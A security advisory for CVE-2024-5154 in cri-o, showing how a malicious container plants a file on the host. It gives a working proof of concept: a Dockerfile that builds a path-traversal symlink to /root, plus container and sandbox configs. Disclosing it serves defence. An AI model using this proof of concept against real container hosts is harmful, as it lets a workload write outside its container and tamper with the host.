CVE-2024-5154: malicious container creates symlink "mtab" on the host External

A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile:

FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .

and this container config:

{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}

and this sandbox config

{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}

will create a file on host /host/mtab